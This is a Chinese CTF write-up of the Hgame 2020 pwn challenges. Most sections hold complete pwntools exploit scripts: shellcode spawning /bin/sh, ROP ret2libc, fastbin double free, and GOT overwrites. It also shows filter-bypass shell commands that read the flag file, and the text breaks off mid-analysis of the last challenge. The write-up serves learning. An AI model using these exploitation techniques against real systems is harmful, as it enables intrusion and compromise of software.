本篇writeup已收录进pwn解题本. Link
2020 Hgame Hgame是杭电在寒假期间举办的新生赛,持续时间长达四周,每周都会放出新题,越到后面难度越大。比赛好像是1月16号开始的,到2月14号结束(情人节?)…
前言 春节期间,在河北老家待着,十分无聊,又赶上新冠疫情蔓延,出家无望,此时imagin 师傅对我说:
来打CTF鸭!
于是,错过注册日期的我,用imagin师傅的帐号来Hgame凑凑热闹,重新拾起我丢了多年的pwn…
比赛规则
比赛分为线上赛(面向所有选手进行)与线下赛(仅面向部分校内选手);
所有选手均以个人为单位参赛;
禁止所有破坏比赛公平公正的行为,如:散播或与其他人交换 Flag、解题思路等,对平台、参赛者或其他人员进行攻击等,违者分数作废并取消比赛资格;
每周结束后,校内选手请发送该周题目的 Writeup 到 wp@vidar.club ,截止时间为每周五晚上八点;
在每周五晚上八点 之前,请校内外的师傅们不要散播任何与上一周题目有关的题解、Flag;
每道题目的一、二、三血分别有 5%、 3%、1% 的额外分数加成。
Week1 我是大年三十开始做的,所以完美的错过了week1的比赛时间,不过还是做了做week1的pwn,就当是预习一下吧~
Hard_AAAAA
题目描述:无脑AAA太无聊了,挑战更高难度的无脑AAA!
题目地址:Hard_AAAAA
考察点:变量覆盖
难度:入门
分值:75
完成人数:172
反汇编得到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { char s; char v5; unsigned int v6; int *v7; v7 = &argc; v6 = __readgsdword(0x14 u); alarm(8u ); setbuf(_bss_start, 0 ); memset (&s, 0 , 160u ); puts ("Let's 0O0o\\0O0!" ); gets(&s); if ( !memcmp ("0O0o" , &v5, 7u ) ) backdoor(); return 0 ; }
程序中存在后门backdoor()
,开启后门的条件是变量v5
等于"0O0o"
,不难看出变量s
其后便是变量v5
,而gets(&s)
由于没有检查s
的长度,这将导致向s
中输入过长的字符串时,覆盖掉变量v5
的值,调试一下得到偏移量为123,所以只要输入'a'*123+'0O0o'
即可启动后门,拿到shell。
exp 虽然没啥写脚本的必要,但是我写了个脚本 ,用来自动生成exp模板,就当是展示一下效果吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *local_file = './Hard_AAAAA' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) backdoor = 0x8048636 offset = 123 payload = 'A' *offset payload += '0O0o\0O0' ru("Let's 0O0o\\0O0!\n" ) sl(payload) p.interactive()
Number_Killer
题目描述:看起来人畜无害的一些整数也能秒我?(吃惊)
题目地址:Number_Killer
考察点:整数shellcode
难度:简单
分值:100
完成人数:77
首先查看程序的保护方式:
1 2 3 4 5 6 7 8 % checksec Number_Killer [*] '/home/taqini/Desktop/ctf/hgame2020/pwn/week1_2/Number_Killer' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
什么保护都没有开,栈可执行,因此可以直接在栈中执行shellcoode
接下来分析程序,程序反编译结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v4[11 ]; int i; setvbuf(_bss_start, 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 2 , 0L L); memset (v4, 0 , 0x50 uLL); puts ("Let's Pwn me with numbers!" ); for ( i = 0 ; i <= 19 ; ++i ) v4[i] = readll(); return 0 ; }
这里v4
是个整数数组,长度为12,但是在for循环中却向v4
中读了20个整数,因此将导致栈溢出。
用gdb
调试程序,得到数组v4
的首地址v4 = 0x7fffffffda90
,以及返回地址ret_addr = 0x7fffffffdaf8
,二者相差104个字节,由于v4
存的整数int64
类型,大小是8字节,因此读入13个整数后,将覆盖程序返回地址。
程序代码中有一个出题人给的gift
函数:
1 2 3 4 5 6 .text:0000000000400789 gift proc near .text:0000000000400789 ; __unwind { .text:0000000000400789 push rbp .text:000000000040078A mov rbp, rsp .text:000000000040078D jmp rsp .text:000000000040078D gift endp
能直接利用其中的gadget: jmp rsp
,将返回地址覆盖为0x40078D
(gadget的地址),把程序的控制流劫持到栈中。溢出发生时rsp
的值正好是v4
的首地址,因此向v4
中布置shellcode
即可。
这题有以下几点要注意:
只能输入13个整数,因此shellcode的长度应该小于104字节
需要将shellcode
每8个字节转成一个int64
,且在readall()
存在检查,整数的长度不能超过20,因此需要寻找一个合适的shellcode
,不能用pwntool
自动生成
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *local_file = './Number_Killer' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) jrsp = 0x0040078A shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05\x00\x00' buf = 0x7fffffffda90 ret = 0x7fffffffdaf8 ru('Let\'s Pwn me with numbers!\n' ) for i in range(11 ): sl(str(i)) sl(str(0x0000000b00000000 )) sl(str(0xdeadbeef )) sl(str(jrsp)) sh = [] for i in range(len(shellcode)/8 ): sh.append(u64(shellcode[8 *i:8 *i+8 ])) for i in sh: print str(i),len(str(i)) sl(str(i)) for i in range(3 ): sl('1' ) p.interactive()
One_Shot
题目描述:一发入魂
题目地址:One_Shot
考察点:字符串截断
难度:入门
分值:100
完成人数:119
反汇编分析程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { _BYTE *v4; int fd[2 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); v4 = 0L L; *(_QWORD *)fd = open ("./flag" , 0 , envp); setbuf(stdout , 0L L); read (fd[0 ], &flag, 0x1E uLL); puts ("Firstly....What's your name?" ); __isoc99_scanf("%32s" , &name); puts ("The thing that could change the world might be a Byte!" ); puts ("Take tne only one shot!" ); __isoc99_scanf("%d" , &v4); *v4 = 1 ; puts ("A success?" ); printf ("Goodbye,%s" , &name); return 0 ; }
首先这题打开/flag
文件并且把内容读到flag
变量中,然后读一个32字节的字符串到name
变量中,还给了一个任意内存置1 的漏洞,最后打印name
。
我们知道,在C语言中,字符串以末尾1字节的\x00
作为结束的标志。如果打印字符串的函数没有遇到\x00
字节,则会一直打印字符。
name
和flag
都定义在bss
段,而且flag
紧紧按着name
:
1 2 .bss:00000000006010C0 name db ? .bss:00000000006010E0 flag db ?
因此利用任意内存置1 漏洞,把name
末尾的\x00
置1,在程序打印name
时,就会顺便把flag
打印出来。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *local_file = './One_Shot' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) prdi = 0x00000000004008a3 ru('name?\n' ) sl('a' *31 ) ru('shot!\n' ) sl(str(0x6010e0 -1 )) p.interactive()
ROP_LEVEL0
题目描述:ROP is PWNers’ romance
题目地址:ROP_LEVEL0
考察点:ROP攻击
难度:简单
分值:150
完成人数:88
ROP
攻击的入门级别题目,非常适合新手学习。反汇编分析程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char buf; int v6; int fd[2 ]; memset (&buf, 0 , 0x38 uLL); v6 = 0 ; setbuf(_bss_start, 0L L); v3 = open ("./some_life_experience" , 0 ); *fd = v3; read (v3, &buf, 0x3C uLL); puts (&buf); read (0 , &buf, 0x100 uLL); return 0 ; }
很明显的栈溢出,由于开了ASLR
地址随机化保护,因此需要构造两个ROP
链,第一个ROP
链泄漏libc
地址,第二个ROP
用于 ret2libc
,执行system("/bin/sh")
获取shell。
至于ROP
攻击,是比较基础的知识点,百度一下就能明白,这里就不赘述啦~
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *local_file = './ROP_LEVEL0' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = '../libc.so.6' if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) prdi = 0x0000000000400753 ppr = 0x0000000000400750 puts_got = elf.got['puts' ] puts_plt = elf.symbols['puts' ] main = elf.symbols['main' ] offset = 88 payload = 'A' *offset payload += p64(prdi) + p64(puts_got) + p64(puts_plt) + p64(main) ru('./flag\n' ) sl(payload) puts = u64(rc(6 ).ljust(8 ,'\0' )) info_addr('puts' ,puts) libc_base = puts - libc.symbols['puts' ] system = libc.symbols['system' ] + libc_base binsh = libc.search('/bin/sh' ).next() + libc_base info_addr('system' , system) info_addr('binsh' , binsh) payload2 = 'B' *offset payload2 += p64(ppr) + p64(0 )*2 payload2 += p64(prdi) + p64(binsh) + p64(system) + p64(main) ru('./flag\n' ) sl(payload2) p.interactive()
Week2 week2就有意思多了,各种预期解法和非预期解法都有…
Pwn本该这样,不该只有一种解法,思路灵活些总是没错的…
findyourself
题目描述:baby题有两种,这是第一种,虽然这题名字没有baby
题目地址:findyourself
考察点:proc、shell基础、ls命令(非预期)
难度:中等
分值:150
完成人数:37
0x0 程序分析 面函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl main (int argc, const char **argv, const char **envp) { char s1; char buf; unsigned __int64 v6; v6 = __readfsqword(0x28 u); init(); memset (&buf, 0 , 0x40 uLL); getcwd(&buf, 0x40 uLL); puts ("where are you?" ); read_n(&s1, 64u ); if ( strcmp (&s1, &buf) ) { puts ("nonono,not there" ); exit (0 ); } read_n(&s1, 20u ); if ( check2(&s1) == -1 ) { puts ("oh,it's not good idea" ); exit (0 ); } close (1 ); close (2 ); system(&s1); return 0 ; }
init
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 init () { int rand_pos; int i; int fd; int buf[52 ]; char dir_list[1008 ]; char new_dir; char command; unsigned __int64 v8; v8 = __readfsqword(0x28 u); setbuf(stdin , 0L L); setbuf(_bss_start, 0L L); fd = open ("/dev/urandom" , 0 ); rand_pos = 0 ; read (fd, &rand_pos, 1u LL); rand_pos %= 50 ; if ( fd < 0 ) exit (-1 ); chdir("./tmp" ); for ( i = 0 ; i <= 49 ; ++i ) { read (fd, &buf[i], 4u LL); snprintf (&dir_list[20 * i], 0x14 uLL, "0x%x" , buf[i]); mkdir (&dir_list[20 * i], 0x1ED u); } snprintf (&new_dir, 0x16 uLL, "./%s" , &dir_list[20 * rand_pos]); chdir(&new_dir); puts ("find yourself" ); read_n(&command, 25u ); if ( check1(&command) != -1 ) system(&command); return __readfsqword(0x28 u) ^ v8; }
程序流程:
在/tmp/目录下创建50个文件夹,文件名随机,然后随机切换到一个文件夹中
一次执行system(cmd1)
的机会,字符过滤规则为check1
随后,要输入正确的工作目录
又有一次执行system(cmd2)
的机会,字符过滤规则为check2
但是这次执行system
前关闭了stdout
和stderr
0x1 check1
允许的字符: 1 2 3 a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z / -
过滤的字符串
docker中能利用的命令不多,除了被过滤的cat
和sh
之外,还有 ls
和cd
cd -
可以输出OLD_PWD
,也就是/
,但是并无有神马用处
ls
可以虽然可以输出当前路径下的文件名,但是题目中对比的是绝对路径
看了下ls --help
,发现可以利用ls -ali
,输出当前目录文件.
的inode
,记做inodeX
好啦
inode
是唯一的,于是再开一个shell
,ls -alh /tmp
查看/tmp/
下的所有文件名及inode
根据inodeX
,即可找到正确的目录名
1 2 3 4 5 6 7 8 # shell 1 % nc 47.103.214.163 21000 find yourself ls -ali total 8 1968846 drwxr-xr-x 2 1000 1000 4096 Jan 27 12:50 . 1968682 drwxrwxrwx 152 0 0 4096 Jan 27 12:50 .. where are you?
1 2 3 4 # shell 2 % nc 47.103.214.163 21000 | grep 1968846 ls -ali /tmp 1968846 drwxr-xr-x 2 1000 1000 4096 Jan 27 12:50 0x8eb79f31
1 2 3 4 5 6 7 8 9 # shell 1 % nc 47.103.214.163 21000 find yourself ls -ali total 8 1968846 drwxr-xr-x 2 1000 1000 4096 Jan 27 12:50 . 1968682 drwxrwxrwx 152 0 0 4096 Jan 27 12:50 .. where are you? /tmp/0x8eb79f31
0x2 check2
过滤的字符(串)
这个简单多了,字符串拼接即可绕过
0x3 close(1) and close(2)
0x4 fini
这题在check1
卡了好久,第三天才想到ls -i
,我太菜了。
0x5 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *local_file = './fys' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 : p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : gdb.attach(p,cmd) cmd1 = 'ls -ali' ru('find yourself\n' ) sl(cmd1) print ru('where are you?\n' )cmd2 = 'a=t;b=ag;ca$a fl$b' p.interactive()
0x6 官方解
Roc826
题目描述:不好好学C的话是很容易随手写出PWN题的
题目地址:Roc826
考察点:double free
、unsorted bin leak
难度:入门
分值:300
完成人数:35
这题是堆的入门级别的题目,然鹅我并不会做堆的题,所以比赛时没做,后来照着官方wp赶紧学习一波
0x0 背景姿势
glibc (<2.27)堆分配的策略:即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的chunk,并把它重新分配。
fast chunk表示正在使用的长度在32-160
(32位系统是16-80
)的堆块,而fastbin表示长度在32-180
范围内的已经释放的堆块
0x1 漏洞利用
0x2 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *local_file = './Roc826' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = '../libc-2.23.so' is_local = False is_remote = False if len(sys.argv) == 1 : is_local = True p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 : is_remote = True if len(sys.argv) == 3 : host = sys.argv[1 ] port = sys.argv[2 ] else : host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) : if is_local: gdb.attach(p,cmd) def add (size,cont='aaaa' ) : sla(':' ,'1' ) sla('size?\n' ,str(size)) sla('content:' ,cont) def delete (index) : sla(':' ,'2' ) sla('index?\n' ,str(index)) def show (index) : sla(':' ,'3' ) sla('index?\n' ,str(index)) ru('content:' ) return ru('-----------------' ) add(0x80 ) add(0x58 ) add(0x58 ) add(0x58 ,'/bin/sh\x00' ) delete(0 ) data = show(0 )[:-1 ].ljust(8 ,'\0' ) log.hexdump(data) libcbase = u64(data) - libc.sym['__malloc_hook' ] - 0x68 info_addr('libcbase' ,libcbase) delete(1 ) delete(2 ) delete(1 ) debug() add(0x58 ,p64(0x601ffa )) add(0x58 ) add(0x58 ) add(0x58 ,'aaaaaaaaaaaaaa' +p64(libcbase+libc.sym['system' ])[:6 ]) delete(3 ) p.interactive()
Another_Heaven
题目描述:永遠と呼びたい 君に 出逢えた ことだけは(什么鬼…)
题目地址:Another_Heaven
考察点:GOT改写
难度:简单
分值:200
完成人数:35
0x0 程序分析 反汇编分析代码,发现有一个Pxxxhub
的后门,可修改1
字节任意内存:
1 2 3 puts ("There is a back door...\"Hacked by Annevi!\"" );*addr = readi(); read (0 , *addr, 1u LL);
init()
中读了flag
,随后有个strcmp
对比password
与flag
1 2 3 4 5 6 7 8 printf ("Password:" , account);read_n(password, 48 ); if ( !strcmp (password, flag) ){ puts ("Welcome!The emperor Qie!" );puts ("|Recommended|Hottest|Most Viewed......" );result = 0 ; }
0x1 漏洞利用 用修改1
字节任意内存的后门改写GOT
表,把strcmp
改为printf
然后就是骚操作了:读password
时,输入%s
,这时候:
strcmp(password, flag)
相当于printf("%s",flag)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 % nc 47.103.214.163 21001 There is a back door..."Hacked by Annevi!" 6299752 & ========================================== ____ | _ \ ___ _ __ _ __ | | | |_ _| |__ | |_) / _ \| '__| '_ \| |_| | | | | '_ \ | __/ (_) | | | | | | _ | |_| | |_) | |_| \___/|_| |_| |_|_| |_|\__,_|_.__/ ========================================== Login System Account:Password:%s hgame{VGhlX2Fub3RoZXJfd2F5X3RvX2hlYXZlbg==}Wrong Password! Forgot your password?(y/n)
0x2 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *local_file = './Another_Heaven' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = local_libc if len(sys.argv) == 1 :p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1 :if len(sys.argv) == 3 :host = sys.argv[1 ] port = sys.argv[2 ] else :host, port = sys.argv[1 ].split(':' ) p = remote(host, port) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format(addr)) def debug (cmd='' ) :gdb.attach(p,cmd) strcmp_got = elf.got['strcmp' ] ru('There is a back door..."Hacked by Annevi!"\n' ) sl(str(strcmp_got)) sl('\x26' ) ru('Password:' ) sl('%s' ) flag = ru('Wrong Password!\n' ) log.info('flag is: ' + flag) p.interactive()
形而上的坏死
题目描述:Can you deceive the world?The lonely observer!
题目地址:Metaphysical_Necrosis
考察点:视力(官方)
难度:中等
分值:400
完成人数:19
0x0 准备工作 首先查保护机制,能打开的都打开了。。
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
先执行一下程序,熟悉下程序的流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 % ./Metaphysical_Necrosis 这一天,你在路上偶遇了睿智的逆向出题人:The eternal God Y! 只见他拿着一把AWP不知道在那瞄谁。 他发现了你,喜出望外:兄弟,包给你快去下包,我帮你架点! 你要把C4安放在哪里呢? 5 AAAA the bomb has been planted! a few moments later~ 快过年了,正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。 不如把它宰了,吃一顿大餐,你说吼不吼啊! 但是这一年多对它也有了些许感情,因此为了纪念它,你决定给它起个名字:Chutiren ------------------------------------------------------------------ 接下来开始切菜,你打算把它切成几段呢? 2 ------------------------------------------------------------------ 为了满足每个人不同的口味,每一段都打算用不同的烹饪方法。顺带一提,我喜欢糖醋金枪鱼 第0段打算怎么料理呢:0000 第1段打算怎么料理呢:1111 接下来你打算把剩下的鱼骨头做成标本。 ----------------------------------------------------------- | | Chutiren | | ----------------------------------------------------------- 就在此时,你发现了一根茄子,这根茄子居然已经把锅里的金枪鱼吃了大半。 仔细观察一下,你发现这居然是一只E99p1ant,并且有大量邪恶的能量从中散发。 你吓得立马扔掉了它,E99p1ant在空中飞行了114514秒,请问它经过的路程是__m: 5 E99p1ant落地后,发现旁边居然有一个C4……Bomb!Terrorist Win AAAA E99p1ant不甘地大喊:啊~~!~?~…____ E99p1ant变成了茄酱。 [1] 13687 segmentation fault (core dumped) ./Metaphysical_Necrosis
0x1 程序分析 game()
函数在main()
中被调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 __int64 game () { __int64 ji_duan; __int64 v2; int v3; char v4[160 ]; char v5[8 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); LODWORD(v2) = 0 ; setbuf(stdin , 0L L); setbuf(stdout , 0L L); puts (&s); puts (&byte_1008); puts (&byte_1040); puts (&byte_1098); HIDWORD(v2) = readi(); read (0 , &v5[8 * HIDWORD(v2)], 8u LL); puts ("the bomb has been planted!" ); getchar(); puts ("a few moments later~" ); puts (&byte_10F0); puts (&byte_1148); getchar(); printf (&format); read_n(name, 48L L); puts ("------------------------------------------------------------------" ); puts (&byte_1238); HIDWORD(ji_duan) = readi(); if ( SHIDWORD(ji_duan) > 20 ) { puts (&byte_1278); exit (0 ); } puts ("------------------------------------------------------------------" ); puts (&byte_12A0); LODWORD(ji_duan) = 0 ; while ( BYTE4(ji_duan) > ji_duan ) { printf (&byte_1320, ji_duan, ji_duan, v2); memset (&v4[8 * ji_duan], 0 , 8u LL); read_n(&v4[8 * ji_duan], 8L L); LODWORD(ji_duan) = ji_duan + 1 ; } puts (&byte_1348); sleep(1u ); puts ("-----------------------------------------------------------" ); puts ("| |" ); puts (name); puts ("| |" ); puts ("-----------------------------------------------------------" ); puts (&byte_1400); getchar(); puts (&byte_1468); getchar(); puts (&byte_14D8); LODWORD(v2) = readi(); puts (aE99p1ant); write (1 , &v5[8 * HIDWORD(v2)], 6u LL); puts (aE99p1ant_0); if ( flag1 == 1 ) { read_n(&e99 + 8 * v3, 8L L); puts (aE99p1ant_1); flag1 = 0 ; } else { puts (&byte_15D8); } return 0L L; }
0x2 漏洞分析 主要的漏洞如下:
1 2 3 4 5 6 7 8 9 10 HIDWORD(v2) = readi(); read (0 , &v5[8 * HIDWORD(v2)], 8u LL); LODWORD(v2) = readi(); puts (aE99p1ant);write (1 , &v5[8 * HIDWORD(v2)], 6u LL);
首先,确定一下能够被改写的栈地址:
1 2 3 4 5 6 0x7fffffffdad0 —▸ 0x555555554f30 (__libc_csu_init) 0x7fffffffdad8 ◂— 0x78b2cb0fd0178500 0x7fffffffdae0 —▸ 0x7fffffffdaf0 —▸ 0x555555554f30 (__libc_csu_init) 0x7fffffffdae8 —▸ 0x555555554f28 (main+14) 0x7fffffffdaf0 —▸ 0x555555554f30 (__libc_csu_init) 0x7fffffffdaf8 —▸ 0x7ffff7debb6b (__libc_start_main+235)
其中0x7fffffffdad0
是v5
的地址,其后依次是:
canary
saved rbp1
game
的返回地址
saved rbp2
main
的返回地址
先前被改写的栈地址,在之后的 write(1, &v5[8 * HIDWORD(v2)], 6uLL);
中又被泄漏出来
这里可以选择readi()
读3
泄漏程序的基址,也可以选择readi()
读5
泄漏libc
的基址
泄漏程序基址似乎没啥用
虽然开了随机化保护,但是libc
函数的后三位是不变的
于是可以覆盖main
的返回地址__libc_start_main+235
的末两位
0x3 漏洞利用 题目给了libc
,看一下__libc_start_main
,其中0x00020830
是__libc_start_main+235
1 2 3 4 5 6 7 8 9 0x00020808 488d442420 lea rax, [rsp + 0x20] 0x0002080d 644889042500. mov qword fs:[0x300], rax 0x00020816 488b059b363a. mov rax, qword [reloc.__environ_184] 0x0002081d 488b742408 mov rsi, qword [rsp + 8] 0x00020822 8b7c2414 mov edi, dword [rsp + 0x14] 0x00020826 488b10 mov rdx, qword [rax] 0x00020829 488b442418 mov rax, qword [rsp + 0x18] 0x0002082e ffd0 call rax 0x00020830 89c7 mov edi, eax
这题的关键是,想要完成攻击,修改栈地址的漏洞至少要利用两次 :泄漏libc
一次,getshell
一次
__libc_start_main
中0x0002082e
这里的call rax
就是call main
所以,覆盖__libc_start_main+235
的末两位为08
这样既可以泄漏__libc_start_main
,又能让程序再执行一遍main
泄漏出来libc
后计算one_gadget
的地址:
1 2 3 4 % one_gadget ./libc-2.23.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
